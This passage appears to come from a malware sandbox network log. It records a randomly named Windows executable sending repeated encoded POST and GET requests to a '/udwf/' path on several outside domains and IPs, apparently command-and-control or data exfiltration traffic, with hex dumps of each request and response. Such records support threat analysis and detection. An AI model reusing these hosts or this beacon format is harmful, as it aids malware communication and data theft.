waiting.....");setTimeout(function(){L.href=b;},"200");</script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.10	49741	168.76.252.99	80	C:\Program Files (x86)\dNAGqKTZGUAwaxVqazHCxkYGeHKBIiEYPiPMKrHtQXpznvGBaeqnolUoXkFHVbdDlBIbtsRYWxSQYDD\xIXlFDyvSnsfUSfsjsGwj.exe

Timestamp	kBytes transferred	Direction	Data
Nov 10, 2023 09:29:18.389555931 CET	249	OUT	POST /udwf/ HTTP/1.1 Host: www.lxdedu.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Origin: http://www.lxdedu.com Referer: http://www.lxdedu.com/udwf/ Content-Type: application/x-www-form-urlencoded Content-Length: 208 Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 47 30 59 78 64 32 51 3d 37 4e 4d 48 6d 50 5a 6e 39 49 6f 6a 53 2f 66 6d 52 41 65 4c 53 53 4d 4e 39 6c 48 73 45 57 74 47 58 72 70 35 6b 74 53 50 6c 66 53 69 6d 44 33 7a 78 4b 77 5a 32 76 79 6c 69 36 54 36 72 57 35 34 6f 53 38 38 33 7a 67 42 45 47 44 58 38 31 6d 62 55 30 4c 30 69 7a 66 4f 69 4d 54 4b 59 6f 73 69 51 5a 4f 68 67 39 39 6f 4d 76 2b 45 65 32 6f 2b 64 4c 41 32 76 30 48 37 79 75 71 62 69 51 6a 79 57 64 36 34 73 6a 33 67 41 61 73 6a 4d 59 30 70 7a 64 63 38 54 4b 39 6d 6d 2f 42 77 6b 6e 46 4a 58 73 5a 2b 6c 48 38 31 34 78 52 39 65 39 50 38 65 36 44 64 43 58 75 49 73 78 74 32 35 56 5a 6e 66 36 70 74 74 6d 4d 3d Data Ascii: G0Yxd2Q=7NMHmPZn9IojS/fmRAeLSSMN9lHsEWtGXrp5ktSPlfSimD3zxKwZ2vyli6T6rW54oS883zgBEGDX81mbU0L0izfOiMTKYosiQZOhg99oMv+Ee2o+dLA2v0H7yuqbiQjyWd64sj3gAasjMY0pzdc8TK9mm/BwknFJXsZ+lH814xR9e9P8e6DdCXuIsxt25VZnf6pttmM=
Nov 10, 2023 09:29:18.746262074 CET	250	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/8.5 Date: Fri, 10 Nov 2023 08:29:16 GMT Connection: close Content-Length: 596 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0d 0a 76 61 72 20 4c 3d 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2c 44 3d 64 6f 63 75 6d 65 6e 74 2c 61 3d 4c 2e 70 61 74 68 6e 61 6d 65 2c 62 3d 22 22 2c 63 3d 22 2f 22 2c 64 3d 22 6c 65 6e 67 74 68 22 3b 0d 0a 61 3d 61 2e 73 70 6c 69 74 28 63 29 3b 0d 0a 66 6f 72 28 76 61 72 20 69 3d 31 3b 69 3c 61 5b 64 5d 2d 32 3b 69 2b 2b 29 7b 62 2b 3d 63 2b 61 5b 69 5d 3b 7d 0d 0a 62 2b 3d 63 3b 0d 0a 44 2e 77 72 69 74 65 28 22 42 61 63 6b 20 74 6f 20 3c 61 20 68 72 65 66 3d 5c 22 22 2b 62 2b 22 5c 22 3e 22 2b 4c 2e 68 6f 73 74 2b 62 2b 22 3c 2f 61 3e 20 2c 20 77 61 69 74 69 6e 67 2e 2e 2e 2e 2e 22 29 3b 0d 0a 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 4c 2e 68 72 65 66 3d 62 3b 7d 2c 22 32 30 30 22 29 3b 0d 0a 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=gb2312"><title>404 - </title></head><body><script type="text/javascript">var L=window.location,D=document,a=L.pathname,b="",c="/",d="length";a=a.split(c);for(var i=1;i<a[d]-2;i++){b+=c+a[i];}b+=c;D.write("Back to <a href=\""+b+"\">"+L.host+b+"</a> , waiting.....");setTimeout(function(){L.href=b;},"200");</script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.10	49742	168.76.252.99	80	C:\Program Files (x86)\dNAGqKTZGUAwaxVqazHCxkYGeHKBIiEYPiPMKrHtQXpznvGBaeqnolUoXkFHVbdDlBIbtsRYWxSQYDD\xIXlFDyvSnsfUSfsjsGwj.exe

Timestamp	kBytes transferred	Direction	Data
Nov 10, 2023 09:29:21.261713982 CET	252	OUT	POST /udwf/ HTTP/1.1 Host: www.lxdedu.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Origin: http://www.lxdedu.com Referer: http://www.lxdedu.com/udwf/ Content-Type: application/x-www-form-urlencoded Content-Length: 1220 Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 47 30 59 78 64 32 51 3d 37 4e 4d 48 6d 50 5a 6e 39 49 6f 6a 53 2f 66 6d 52 41 65 4c 53 53 4d 4e 39 6c 48 73 45 57 74 47 58 72 70 35 6b 74 53 50 6c 66 4b 69 6d 52 50 7a 78 74 73 5a 33 76 79 6c 68 36 54 2f 72 57 35 70 6f 53 6b 34 33 7a 73 52 45 45 4c 58 39 54 71 62 44 51 6e 30 35 6a 66 4f 74 73 54 50 46 34 73 37 51 5a 2b 6c 67 39 74 6f 4d 76 2b 45 65 31 67 2b 55 36 41 32 74 30 48 34 31 75 71 48 70 77 69 76 57 64 79 53 73 6a 7a 77 41 71 4d 6a 4d 34 6b 70 78 75 6b 38 52 71 39 6b 68 2f 42 6f 6b 6e 34 58 58 73 45 48 6c 47 59 54 34 78 70 39 50 6f 2b 4b 45 6f 2f 33 47 51 72 57 6a 43 6c 42 33 54 49 7a 50 37 35 33 76 69 2f 62 68 45 51 61 53 71 69 36 75 37 51 73 62 6a 6f 36 79 54 78 62 2b 36 64 42 76 6b 79 79 57 77 6c 59 68 68 6b 51 5a 38 6f 70 49 73 51 30 57 35 32 73 4d 4b 77 32 71 41 37 66 79 4a 46 37 49 2b 50 76 4c 52 79 4a 38 6f 67 6c 42 44 70 61 33 36 4f 2f 32 64 47 36 49 4a 6e 2f 37 7a 48 67 6f 46 4e 41 4f 4c 6f 6c 77 32 52 41 79 62 39 68 4d 37 6d 65 59 4a 5a 50 4a 32 52 4f 7a 49 70 55 61 45 75 52 73 44 6f 5a 74 46 62 55 48 37 65 32 32 7a 4d 58 78 36 71 51 38 4b 45 41 55 2f 50 4f 39 49 37 6a 54 36 50 76 4b 41 43 47 44 77 76 69 55 57 69 6b 2b 38 67 62 56 6f 64 56 2b 61 36 6c 37 71 46 48 71 42 32 66 66 4f 39 6a 5a 66 4c 4f 59 6d 55 68 63 74 72 49 38 65 4e 4c 4b 63 36 32 42 79 6b 6c 36 4c 33 46 6f 78 4f 64 32 46 6f 31 6a 32 2f 33 76 37 34 6f 75 74 51 6d 61 6e 72 5a 67 53 4d 4c 4b 46 67 76 44 6a 73 41 5a 62 41 6e 48 50 5a 65 61 79 66 4b 78 6e 51 39 35 43 47 55 35 65 72 2f 36 45 45 35 73 2f 4d 46 44 65 33 52 6a 70 71 78 79 71 63 73 44 73 62 43 32 7a 45 32 36 74 67 48 6e 78 78 68 30 47 6f 58 63 79 6d 53 4c 7a 62 70 31 4f 4b 6f 77 58 44 34 72 4b 4b 34 39 6d 6b 48 39 30 59 5a 79 6c 71 4f 6e 48 4b 53 4a 57 64 62 79 79 63 43 39 67 5a 64 47 49 37 57 51 37 79 58 35 59 48 78 4e 43 4b 79 34 63 72 61 73 2f 57 51 65 79 38 59 54 6e 2f 33 41 33 43 71 6f 79 42 45 44 6e 41 73 50 63 76 78 51 56 73 53 6b 6d 6d 76 2b 67 58 71 4f 33 67 63 64 52 30 73 4a 43 55 4d 79 41 4b 63 6b 50 67 6f 33 37 55 33 6d 58 4b 36 51 64 69 65 73 6c 30 55 42 44 65 6c 36 45 43 58 67 53 6f 52 6f 4b 2b 7a 70 66 70 59 4e 66 4b 56 6e 2f 4c 45 66 31 5a 75 4d 43 2f 43 63 32 53 49 58 66 43 50 4d 65 70 59 46 34 4e 2b 63 73 6a 59 59 2b 62 50 67 78 44 69 7a 35 67 39 6f 77 52 61 73 33 6a 69 6b 72 34 6d 79 41 36 55 75 6f 4d 72 45 48 63 73 6e 57 57 51 54 32 32 75 5a 59 5a 74 66 4c 48 71 41 32 31 75 47 48 79 79 42 79 72 57 6e 61 30 65 6d 74 6d 4e 71 71 49 5a 45 42 59 78 6e 2f 4f 76 6d 55 33 38 57 30 44 77 77 6f 33 6d 57 4c 39 64 76 6d 6f 37 50 30 79 64 35 4c 42 57 35 2f 33 39 4c 69 34 38 43 79 6a 6b 4e 45 65 6d 54 55 38 52 30 50 56 44 57 71 6c 42 53 44 73 51 61 39 4a 41 33 57 4b 58 43 2f 70 6b 58 4c 55 67 74 7a 79 42 78 47 6b 70 64 45 35 52 38 7a 31 66 57 77 4c 6c 61 36 6f 56 4d 73 34 49 66 6a 6d 30 30 71 52 6c 48 65 4b 6f 74 47 53 71 4c 32 43 74 55 64 2f 49 46 72 4c 42 74 78 74 68 5a 31 32 65 48 4c 63 44 35 6e 78 4f 56 4a 57 63 55 57 4b 63 35 38 4f 73 66 53 76 4c 43 33 62 79 48 48 77 31 33 32 41 78 66 6a 6e 56 53 74 48 54 68 42 79 78 69 2f 67 69 6d 54 66 6d 51 32 66 38 67 52 44 57 56 2f 6d 37 53 32 50 6e 2f 6b 70 36 61 6b 4a 4f 48 76 62 77 4f 50 63 6b 39 6f 72 39 6a 54 71 4b 63 50 56 64 50 59 6c 78 2f 74 58 78 46 76 75 64 53 63 49 72 6b 77 37 68 62 50 35 72 32 34 69 50 44 72 4b 69 30 41 44 31 6d 77 77 45 71 77 4d 64 6a 2b 78 58 49 31 62 36 37 36 6b 68 75 33 6d 75 4d 38 78 34 6c 44 44 63 32 43 62 68 56 77 54 61 39 32 31 6f 4a 2b 42 78 6a 67 77 2b 47 64 49 34 4e 59 44 47 35 70 4b 6f 4b 73 75 45 6e 61 64 55 68 47 48 78 6f 50 43 35 73 50 39 65 57 6c 66 36 49 4e 55 62 4c 33 5a 56 70 65 6a 34 76 34 65 35 50 54 61 52 6d 65 52 74 4c 7a 52 51 75 36 66 79 6c 64 38 72 Data Ascii: G0Yxd2Q=7NMHmPZn9IojS/fmRAeLSSMN9lHsEWtGXrp5ktSPlfKimRPzxtsZ3vylh6T/rW5poSk43zsREELX9TqbDQn05jfOtsTPF4s7QZ+lg9toMv+Ee1g+U6A2t0H41uqHpwivWdySsjzwAqMjM4kpxuk8Rq9kh/Bokn4XXsEHlGYT4xp9Po+KEo/3GQrWjClB3TIzP753vi/bhEQaSqi6u7Qsbjo6yTxb+6dBvkyyWwlYhhkQZ8opIsQ0W52sMKw2qA7fyJF7I+PvLRyJ8oglBDpa36O/2dG6IJn/7zHgoFNAOLolw2RAyb9hM7meYJZPJ2ROzIpUaEuRsDoZtFbUH7e22zMXx6qQ8KEAU/PO9I7jT6PvKACGDwviUWik+8gbVodV+a6l7qFHqB2ffO9jZfLOYmUhctrI8eNLKc62Bykl6L3FoxOd2Fo1j2/3v74outQmanrZgSMLKFgvDjsAZbAnHPZeayfKxnQ95CGU5er/6EE5s/MFDe3RjpqxyqcsDsbC2zE26tgHnxxh0GoXcymSLzbp1OKowXD4rKK49mkH90YZylqOnHKSJWdbyycC9gZdGI7WQ7yX5YHxNCKy4cras/WQey8YTn/3A3CqoyBEDnAsPcvxQVsSkmmv+gXqO3gcdR0sJCUMyAKckPgo37U3mXK6Qdiesl0UBDel6ECXgSoRoK+zpfpYNfKVn/LEf1ZuMC/Cc2SIXfCPMepYF4N+csjYY+bPgxDiz5g9owRas3jikr4myA6UuoMrEHcsnWWQT22uZYZtfLHqA21uGHyyByrWna0emtmNqqIZEBYxn/OvmU38W0Dwwo3mWL9dvmo7P0yd5LBW5/39Li48CyjkNEemTU8R0PVDWqlBSDsQa9JA3WKXC/pkXLUgtzyBxGkpdE5R8z1fWwLla6oVMs4Ifjm00qRlHeKotGSqL2CtUd/IFrLBtxthZ12eHLcD5nxOVJWcUWKc58OsfSvLC3byHHw132AxfjnVStHThByxi/gimTfmQ2f8gRDWV/m7S2Pn/kp6akJOHvbwOPck9or9jTqKcPVdPYlx/tXxFvudScIrkw7hbP5r24iPDrKi0AD1mwwEqwMdj+xXI1b676khu3muM8x4lDDc2CbhVwTa921oJ+Bxjgw+GdI4NYDG5pKoKsuEnadUhGHxoPC5sP9eWlf6INUbL3ZVpej4v4e5PTaRmeRtLzRQu6fyld8r
Nov 10, 2023 09:29:21.615573883 CET	253	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/8.5 Date: Fri, 10 Nov 2023 08:29:19 GMT Connection: close Content-Length: 596 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0d 0a 76 61 72 20 4c 3d 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2c 44 3d 64 6f 63 75 6d 65 6e 74 2c 61 3d 4c 2e 70 61 74 68 6e 61 6d 65 2c 62 3d 22 22 2c 63 3d 22 2f 22 2c 64 3d 22 6c 65 6e 67 74 68 22 3b 0d 0a 61 3d 61 2e 73 70 6c 69 74 28 63 29 3b 0d 0a 66 6f 72 28 76 61 72 20 69 3d 31 3b 69 3c 61 5b 64 5d 2d 32 3b 69 2b 2b 29 7b 62 2b 3d 63 2b 61 5b 69 5d 3b 7d 0d 0a 62 2b 3d 63 3b 0d 0a 44 2e 77 72 69 74 65 28 22 42 61 63 6b 20 74 6f 20 3c 61 20 68 72 65 66 3d 5c 22 22 2b 62 2b 22 5c 22 3e 22 2b 4c 2e 68 6f 73 74 2b 62 2b 22 3c 2f 61 3e 20 2c 20 77 61 69 74 69 6e 67 2e 2e 2e 2e 2e 22 29 3b 0d 0a 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 4c 2e 68 72 65 66 3d 62 3b 7d 2c 22 32 30 30 22 29 3b 0d 0a 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=gb2312"><title>404 - </title></head><body><script type="text/javascript">var L=window.location,D=document,a=L.pathname,b="",c="/",d="length";a=a.split(c);for(var i=1;i<a[d]-2;i++){b+=c+a[i];}b+=c;D.write("Back to <a href=\""+b+"\">"+L.host+b+"</a> , waiting.....");setTimeout(function(){L.href=b;},"200");</script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.10	49743	168.76.252.99	80	C:\Program Files (x86)\dNAGqKTZGUAwaxVqazHCxkYGeHKBIiEYPiPMKrHtQXpznvGBaeqnolUoXkFHVbdDlBIbtsRYWxSQYDD\xIXlFDyvSnsfUSfsjsGwj.exe

Timestamp	kBytes transferred	Direction	Data
Nov 10, 2023 09:29:24.141567945 CET	254	OUT	GET /udwf/?G0Yxd2Q=2Pknl6RP8eYVb4X6Jw71HBsX3EzDU15MYpkSqP6Wnui62FTd2NB7+fGHhL+jrHNDvCcs8SUxdlzs7m6tHUr/+njhj/XBKtkfTg==&vhQT=aV8PeNo0MvDl1 HTTP/1.1 Host: www.lxdedu.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Nov 10, 2023 09:29:24.497469902 CET	255	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/8.5 Date: Fri, 10 Nov 2023 08:29:23 GMT Connection: close Content-Length: 596 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0d 0a 76 61 72 20 4c 3d 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2c 44 3d 64 6f 63 75 6d 65 6e 74 2c 61 3d 4c 2e 70 61 74 68 6e 61 6d 65 2c 62 3d 22 22 2c 63 3d 22 2f 22 2c 64 3d 22 6c 65 6e 67 74 68 22 3b 0d 0a 61 3d 61 2e 73 70 6c 69 74 28 63 29 3b 0d 0a 66 6f 72 28 76 61 72 20 69 3d 31 3b 69 3c 61 5b 64 5d 2d 32 3b 69 2b 2b 29 7b 62 2b 3d 63 2b 61 5b 69 5d 3b 7d 0d 0a 62 2b 3d 63 3b 0d 0a 44 2e 77 72 69 74 65 28 22 42 61 63 6b 20 74 6f 20 3c 61 20 68 72 65 66 3d 5c 22 22 2b 62 2b 22 5c 22 3e 22 2b 4c 2e 68 6f 73 74 2b 62 2b 22 3c 2f 61 3e 20 2c 20 77 61 69 74 69 6e 67 2e 2e 2e 2e 2e 22 29 3b 0d 0a 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 4c 2e 68 72 65 66 3d 62 3b 7d 2c 22 32 30 30 22 29 3b 0d 0a 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=gb2312"><title>404 - </title></head><body><script type="text/javascript">var L=window.location,D=document,a=L.pathname,b="",c="/",d="length";a=a.split(c);for(var i=1;i<a[d]-2;i++){b+=c+a[i];}b+=c;D.write("Back to <a href=\""+b+"\">"+L.host+b+"</a> , waiting.....");setTimeout(function(){L.href=b;},"200");</script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.10	49744	35.227.246.104	80	C:\Program Files (x86)\dNAGqKTZGUAwaxVqazHCxkYGeHKBIiEYPiPMKrHtQXpznvGBaeqnolUoXkFHVbdDlBIbtsRYWxSQYDD\xIXlFDyvSnsfUSfsjsGwj.exe

Timestamp	kBytes transferred	Direction	Data
Nov 10, 2023 09:29:29.831724882 CET	256	OUT	POST /udwf/ HTTP/1.1 Host: www.xn--4gq62f8w1alm9b.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Origin: http://www.xn--4gq62f8w1alm9b.xyz Referer: http://www.xn--4gq62f8w1alm9b.xyz/udwf/ Content-Type: application/x-www-form-urlencoded Content-Length: 188 Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 47 30 59 78 64 32 51 3d 31 51 77 6c 4b 4b 30 51 44 45 6e 68 72 76 67 46 6b 4a 34 52 55 77 2f 61 30 33 79 2f 6c 4b 4f 34 6b 6c 55 51 68 71 66 47 41 59 4d 66 64 4f 55 5a 5a 41 6c 43 71 55 64 6e 65 37 70 6a 31 73 5a 71 4c 63 54 30 44 7a 56 4f 66 6d 4f 50 65 6b 68 4e 61 4f 45 45 4e 33 69 32 62 4c 32 4e 35 63 31 44 75 44 42 48 74 6d 46 53 51 42 6d 46 61 6d 39 64 6a 61 49 47 4c 59 52 4c 47 42 71 52 66 34 7a 52 50 30 38 45 56 73 64 39 43 6d 45 2f 31 38 47 2f 52 77 54 61 4c 73 33 48 78 75 53 51 52 45 65 4b 61 47 32 71 79 33 34 46 48 6b 56 6b 68 6b 75 31 73 41 3d 3d Data Ascii: G0Yxd2Q=1QwlKK0QDEnhrvgFkJ4RUw/a03y/lKO4klUQhqfGAYMfdOUZZAlCqUdne7pj1sZqLcT0DzVOfmOPekhNaOEEN3i2bL2N5c1DuDBHtmFSQBmFam9djaIGLYRLGBqRf4zRP08EVsd9CmE/18G/RwTaLs3HxuSQREeKaG2qy34FHkVkhku1sA==
Nov 10, 2023 09:29:30.122710943 CET	256	IN	HTTP/1.1 405 Not Allowed Server: nginx/1.20.2 Date: Fri, 10 Nov 2023 08:29:29 GMT Content-Type: text/html Content-Length: 157 Via: 1.1 google Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx/1.20.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.10	49717	23.227.38.74	80	C:\Program Files (x86)\dNAGqKTZGUAwaxVqazHCxkYGeHKBIiEYPiPMKrHtQXpznvGBaeqnolUoXkFHVbdDlBIbtsRYWxSQYDD\xIXlFDyvSnsfUSfsjsGwj.exe

Timestamp	kBytes transferred	Direction	Data
Nov 10, 2023 09:27:50.716406107 CET	95	OUT	POST /udwf/ HTTP/1.1 Host: www.littlehappiez.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Origin: http://www.littlehappiez.com Referer: http://www.littlehappiez.com/udwf/ Content-Type: application/x-www-form-urlencoded Content-Length: 1220 Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 47 30 59 78 64 32 51 3d 51 31 2f 6c 4d 2b 73 36 4f 59 33 6a 65 71 78 2f 77 4d 69 61 62 68 49 57 75 52 47 63 4c 47 4b 37 47 6b 68 53 36 44 47 64 6a 4d 57 6c 77 2b 39 6c 49 49 69 68 35 51 53 42 4f 4f 38 47 52 66 51 7a 5a 45 63 58 53 76 45 53 76 69 6e 70 52 6e 78 33 2f 72 75 63 79 4c 72 43 6e 49 45 56 65 54 4c 30 63 50 6d 69 6f 50 4a 34 6c 59 78 38 61 4b 6c 44 74 64 49 4b 39 6b 53 76 67 32 32 48 78 66 6e 31 6a 59 64 39 56 33 68 58 4d 75 76 61 75 35 78 33 35 39 56 37 6c 57 78 4f 76 33 4e 7a 33 44 69 61 71 75 4b 47 5a 74 56 5a 36 4a 35 63 2b 77 6b 69 67 6c 4b 49 74 77 6a 77 71 72 49 33 44 37 75 78 4b 75 32 67 35 37 42 34 2b 69 44 49 46 46 47 50 6d 31 6f 62 61 37 69 79 4f 76 4d 56 48 69 68 6c 38 57 58 41 6e 4f 2b 51 53 63 7a 4d 69 76 49 4b 55 6a 6e 57 73 31 6e 4e 43 57 35 67 38 41 6f 54 63 55 51 51 55 52 50 63 77 74 37 54 30 47 46 34 7a 56 75 4c 41 50 6a 57 33 53 31 6b 6b 6c 75 32 5a 59 51 4c 68 6f 51 64 7a 51 54 6a 54 77 6d 65 6f 71 52 64 6c 65 6c 6b 6f 6e 39 73 4f 4f 44 56 30 64 44 51 44 59 73 7a 58 34 49 67 66 42 6d 38 49 31 6b 68 67 70 4b 58 6d 78 50 43 48 33 4d 64 33 48 38 4a 48 33 77 50 46 67 68 39 35 51 51 64 38 6e 34 34 46 49 37 30 66 62 64 44 5a 63 41 6f 53 48 31 56 72 56 6f 41 32 71 31 49 35 4e 61 34 4b 57 53 49 6e 4a 4a 76 68 63 44 51 33 53 4c 53 54 37 63 31 55 67 6d 72 50 69 7a 4f 61 43 6b 52 59 4b 73 70 59 41 45 52 31 46 33 58 52 59 75 64 50 44 64 34 5a 2b 4e 67 36 33 7a 6f 4f 33 7a 43 55 4a 56 61 44 74 5a 73 2b 7a 43 6b 46 45 4c 